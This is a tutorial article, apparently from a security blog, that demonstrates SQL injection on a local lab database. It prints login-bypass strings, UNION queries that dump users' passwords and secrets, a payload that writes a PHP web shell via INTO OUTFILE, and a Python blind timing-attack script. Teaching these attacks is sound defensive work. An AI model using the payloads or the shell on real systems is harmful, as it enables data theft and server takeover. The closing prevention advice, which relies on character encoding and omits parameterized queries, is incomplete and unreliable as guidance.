SQL Injection (SQLi)
About
SQL Injection is an incredibly common form of attack that comes from non-sanitized inputs that communicate with an SQL Database of some form. While the exact attack may be different between environments and situations, the idea is always the same: escape the query and execute additional SQL Statements. These statements can be anything from leaking information about users to placing a shell on the server itself.
The Anatomy of an SQL Injection
In a normal environment an input may be used to transmit data to an SQL Database. This data will request specific information from the server given what was provided. For example, on a login page the user will enter their username and password. This password will be hashed on the client side before being sent to the database as part of a query. If the query returns a result based on the username and hashed password, then the user’s info is valid.
Assuming the Database has the following USERS table:
| USERNAME | PASSWORD |
|---|---|
| Admin | P@ssw0rd123 |
| Tom | TomPass |
| Jim | JimPass |
| Sarah | SarahPass |
| John | JohnPass |
| Rachel | RachelPass |
We can see that Tom and Tom’s password return 1 result. To the server, this would be a valid login attempt from Tom.
However, this is not the case when an attacker is performing an SQL Injection. In the example above the database would return one result if the user’s info was correct or no results if the info was incorrect. In this scenario, the user has control over the query that is being sent to the server as they can fill in whatever information they want for the USERNAME and PASSWORD portions of the statement. This allows the attacker to put in characters that the database may interpret as being part of the query such as comments and string closing characters.
If the attacker set the PASSWORD variable as “‘ or 1=1−−” the following would occur:
SELECT * FROM USERS WHERE USERNAME='Tom' AND PASSWORD='' OR 1=1--'
| USERNAME | PASSWORD |
|---|---|
| Admin | P@ssw0rd123 |
| Tom | TomPass |
| Jim | JimPass |
| Sarah | SarahPass |
| John | JohnPass |
| Rachel | RachelPass |
This returns any results where USERNAME is Tom and password is either blank OR if 1=1. In logic this is called a Tautology where a statement is always true under any circumstances as either Tom’s password will be blank or 1 will equal 1. Following the injected 1=1 we have a comment to close out the rest of the statement. Without this comment we would have a single quote that would cause the query to keep looking for another single quote. The comment removes that query by making the database think that it is not part of the original query. So the final output is:
SELECT * FROM USERS WHERE USERNAME='Tom' AND PASSWORD='' OR 1=1
Unfortunately −− is not always an acceptable comment for the database so setting PASSWORD to “' OR '1'='1” is also acceptable:
SELECT * FROM USERS WHERE USERNAME='Tom' AND PASSWORD='' OR '1'='1'
This method of injection isn’t just limited to the PASSWORD field either, since the attacker has control over both the USERNAME and PASSWORD fields they can in some cases dump any entries they want.
Dumping Data via SQL Injection
The primary attack made through SQL Injections is information dumping. When an attacker has complete control over a query sent to the SQL Server, they are able to leak a large amount of information that may be critical to the server. This can include anything from addresses to passwords to emails. We have put together an SQL Injection example page on a local machine to demonstrate how an attacker would use some of these methods to dump large amounts of information from a user table.
As we can see, the page allows users to lookup another user and find out their favorite color. While this may seem innocent, it also allows and attacker to pull large amounts of information from the database. On our test page we also have the current query shown above the table for verbosity. This will show what our input is actually doing to the query as we enter it.
Dumping Table Entries
As mentioned earlier there exists a concept in logic called a tautology. We can use tautologies to make our query true at any point. The current query as shown in the above picture selects the username and favorite color of the row where the username is Tom. If we change this to be “Select the username and favorite color where username is Tom OR 1=1” then every row will match as 1 will always equal 1 for every row. To inject this query we need to get out of the single quotes surrounding “Tom”. We can do this by adding another single quote after Tom and then commenting out the rest of the line. For MySQL a line comment can be denoted by # which will cause anything after it to be completely ignored.
We can see that the tautology worked and we were able to dump the entirety of the current table. We now know that the table has the entries Tom, Jan, Mark, David, and Sarah. This was done with the query:Tom' OR 1=1;#.
Dumping Database Name and Version
Now that we have an established SQL Injection, we can find information about the database server with:Tom' UNION SELECT VERSION(), DATABASE();#.
The query returns a server version of MariaDB 10.1.34 and that we are currently in the testdb database. The database version could be useful in certain attacks as the database itself might be vulnerable to a specially crafted attack. Alternatively, it may give us information on specific functions we can do with the database type. Postgres, MariaDB (MySQL), and MSSQL all react differently to different functions. With the help of the database name we can dig through a default database known as information_schema to find any other tables in this database as well as any possible columns for each table.
In the above example the statement “UNION SELECT” can be shown. In SQL UNION combines the results from two sets of results. So we if we have the results from our initial query selecting the username and favorite color of tom, and we have the results of VERSION() and DATABASE() then we can combine them into a single result set. This isn’t always the case as sometimes results are not displayed on a successful injection, we will be covering those cases shortly.
Finding Columns With information_schema
In MariaDB (MySQL) there exists a default database known as information_schema. This database holds the core information that the database server needs to operate. Among this information are the table listings for each database and the column listings for each table. Inside the information_schema database are two important tables: TABLES and COLUMNS. Their contents are pretty self explanatory, but the best part is that we can filter for items in these tables based on known tables or known databases. In the below picture we run a pretty long query that essentially gets the column name for each column in the USERS table.
While this view may look confusing, for reference the original table is formatted as such:
| username | password | address | secret | favoritecolor |
|---|---|---|---|---|
| Tom | TomPassword | 123 Tom Drive. | TomSecret | Red |
| Jan | JanPassword | 123 Jan Drive. | JanSecret | Blue |
| Mark | Mark | 123 Mark Drive. | MarkSecret | Green |
| David | DavidPassword | 123 David Drive. | DavidSecret | Orange |
| Sarah | SarahPassword | 123 Sarah Drive. | SarahSecret | White |
Dumping The Columns
Now that we have every column for the USERS table, we as the attacker can run a query that will dump all information in the database into this table: David' UNION SELECT 1, CONCAT(username, ":", password, ":", address, ":", secret, ":", favoritecolor) FROM USERS;#
Finally, all of the USERS information is dumped and the database has been leaked. This goes to show just how devastating SQL Injection can be if properly executed and no input sanitation is taken. However, dumping database information is not the only thing SQL Injection is capable of.
Getting A Shell With SQLi
One of the most dangerous attacks made with SQL Injection is the creation of a shell on the web server. In Cyber Security, a shell usually refers to a web application that allows an attacker to run commands that affect the server. For example: an attacker with a shell could run standard Linux commands on a Linux web server like whoami, ifconfig, nc, and more. This can lead to further privilege escalation and the attacker can have complete control over the web server and potentially other servers connected to it.
We have represented what the flow for an attack like this is below. First, the attacker sends a malicious query to the web server. This is when the attacker exploits that SQL Injection vulnerability to create a file on the server. With arbitrary file creation the attacker can create a shell that will allow them to execute commands as discussed earlier. That request is forwarded by the web server to the database server which is being hosted on the same physical machine for this demonstration. The database server writes our “shell.php” to the web server’s /var/www/html/ directory and the attacker connects to it directly.
Now that the theory is understood we will demonstrate this attack on an actual machine with the same vulnerable setup as we did in the previous examples. MariaDB (MySQL) and several other database solutions have a function for writing results to a file. The issue comes when an attacker has control over what file is being written to and what is being written to that file.
As we saw earlier in the article we can control what goes into our SELECT statements. While we can specific parameters like username, favoritecolor, and password that doesn’t mean we are only limited to those parameters. We can select arbitrary strings like hello and <?php system($_GET['cmd']); ?> with the latter we can then dump that select into an OUTFILE or “Output File” with a location of our choosing. Our final payload becomes: Tom' UNION SELECT ALL 1,"<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php";#
Note: the shown query in the following screenshot shows a blank string as the second selection. This is because the PHP was parsed as it was being displayed.
Navigating to http://localhost/shell.php?cmd=whoami; echo ===; ls; gives us an output of whoami (www-data), three equal signs, and a listing of the current files in the /var/www/html/ directory.
Timing Attacks
In a perfect world, or rather in an imperfect world, SQL Injection vulnerabilities would always have a verbose output that we can scrape through and manipulate. However, this isn’t usually the case as SQL Injections come in all shapes and sizes with a surprising amount of them never being directly seen by an attacker. How does an attacker take advantage of a vulnerability that they can not see? The answer is to use something that creates a measurable change in the way the web application operates. One of the most common ways of doing this is by performing a timing attack.
Timing attacks take advantage of boolean logic. This is where a series of yes/no questions are asked repeatedly to the server and the effects of those questions is measured. For example: if Tom has the password “TomPassword” an attacker could ask if Tom’s password starts with “A”, “B”, “C”, and so on until “T”. With this yes or no question an attacker can have the server delay the request if the answer is true and proceed as normal if the request is false. So an attacker could ask the server to wait for 1 second if Tom’s password starts with “T” and wait for 0 seconds if Tom’s password does not start with a given letter.
Given that guessing passwords or other data in this manner would take ages to do by hand, scripting an attack is the general method for performing a Timing Attack. For this reason, we have created a new user “Jeff” in our test database. Jeff has a rather complicated password and if we had no way of printing the information to the screen we would have no hope of getting the password on a guess. To combat this issue, we developed an example script demonstrating a Timing Attack on our test database using the same SQL Injection vulnerability from the previous examples.
We can see the script attempting possible ASCII characters until it guesses one that is correct for that position. For a bit more detail, here is the source code used:
import requests import time username = "Jeff" print ("SQL Injection - Timing Attack Demonstration.") print ("Getting password:".format(username), end="", flush=True) query = ("http://172.16.143.137/sqltest.php?username={}" "'%20AND%20IF(ORD(SUBSTRING(password, {}, 1))={}," "%20Sleep(0.25),%20Sleep(0));%23") password = "" index = 1 solved = False timestart = time.time() while solved == False: for x in range(32, 127): nchar = chr(x) print(nchar, end="", flush=True) start = time.time() r = requests.get(query.format(username, index, ord(nchar))) end = time.time() if end-start > 0.2: index += 1 password += nchar break else: print("\b", end="") if x == 126 and end-start <= 0.2: solved = True timeend = time.time() print("\n") print("{}'s Password:{}".format(username, password)) print("Total time:{}".format(timeend-timestart))
For every character in a range from decimal 32 ( ) to decimal 126 (~) that character is compared to the character at position 1, 2, 3, etc. If the character values (ORDinal) match then we sleep for 0.25 seconds. Every request is checked for a request time and if that request time exceeds 0.2 seconds then we say that the sleep was successful and count it. Do note that in a live test various factors would interfere with response times so something like a 5 second delay on success may be better suited.
Prevention
SQL Injection can be particularly devastating in the right scenarios. This is why preventative measures must be taken to ensure it doesn’t happen or that its impact is significantly mitigated. The best way of preventing SQL Injection is to sanitize user inputs. Characters that change the logic of an SQL Statement like ‘, “, #, -, and ; should be converted into their encoded equivalents like # and ;. This should not just be limited to normal user input fields like username and password text entries, but for any request that gets sent to the database as even hidden elements can be modified to contain malicious data.
Conclusion
SQL Injection continues to be an incredibly dangerous attack to this day. OWASP even lists it under the umbrella of their “Injection” attacks as part of their top 10 list for 2018. It can be ultimately thwarted by good sanitization, but this requires a lot of forethought on the part of the developer. Developers should never trust user input as there is never a guarantee that users have the application or the developers’ best interests in mind.